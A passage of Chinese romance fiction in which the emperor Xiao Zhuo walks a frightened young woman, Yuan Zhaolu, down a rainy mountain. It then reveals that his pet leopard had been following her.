想来是因为初见,燕王待生人极其疏冷,熟悉后自然不同。 她攥紧了油纸伞的伞柄,“来时路上,我听到山间野兽嘶鸣,眼下暴雨心惊,我实在害怕。” 若是身上携带阿母留给她的哨骨那便好了,偏偏今日没有,一个人总归有些不安。 良久,得不到回应,元朝露正要转身,便见那道修长的身影,从凉亭中徐徐走来。 燕王一身青袍,衣袂被风雨拂动,似要融入这青色山峦雾气之中。 “山间的确有野兽,我带你下山。” 他接过她手中的油纸伞。 指尖一瞬间相触,便觉他的肌肤凉得厉害,她下意识缩了缩指尖。 元朝露心砰砰一跳,与之一同下山。 计划比想象中更为顺利。 然而,有在他身边便怎么也无法自在。 他身上凌冽的松竹香气,变成了一根根针般侵入她周身,让她无比煎熬。 此人就像是会天生发号施令一般,他那句“走吧”也像是在命令。 下山路山道湿滑,二人挤在一方雨伞划出的天地,少不得衣摆窸窣相拂。 她听到身侧草丛仿佛有动静,下意识往身边探去,攥到了他的衣袖。 身侧人淡声道:“只是一只小兽。” 元朝露的手却始终没有松开他,仿佛要借此才能缓解心头的惶恐。 隔着一层衣衫,萧濯能感觉到她那掌心灼热的温度。他不动神色抽开,就对上女郎惶惑的眸子。 “我实在有些害怕,”她的手再次探来,攥住了他的衣袖,“不过……还好没有淋湿你的佛经。” 她将小心呵护在身前的佛经展示给他看,一双眸子发亮,笑吟吟的。 盛夏的雨来得快去得也快,少女从油纸伞下迈开一步时,天忽而晴朗。 “好了,前面的山路,我也认识了,我自己走。” 元朝露与他告别,转身往山下走去。 萧濯目送着她的身影远去,并未多停留,转身往山道之上走去。 树林间传来窸窣动静,有庞然大物的影子投落在地,接着,一头斑斓豹兽从草丛中走出。 “金猊。”天子慵懒唤道。 豹兽亲昵地以首蹭了蹭他的手,发出一声低鸣。 适才林间的动静,便出自这一支豹子。 此金钱豹乃当今天子少时游猎所获,跟随天子身侧已数年之久,禅虚寺中能无须侍卫驻守,便是如此。 今日那女子上山,至半山腰时,就已经被金猊暗中盯了一路。 他送她下山,便是因为金猊。 萧濯信步而上,随手拂开山间草丛,脑海中响起应慧方丈的话音。 《十梦经》记载,佛陀曾入帝王之梦,给予未来预兆。 未来的预兆吗? 萧濯只觉匪夷所思,嘴角带着若有若无的嘲意。 萧濯实在不喜外人近身,今日所遇此女子性格处处冒犯他,绝非他所喜。 至于她是何身份。 待晚些时候,自会让仲长君去查。 他不再多思。 一人一豹子优雅上山,身影融入满山苍翠之中,再看不见。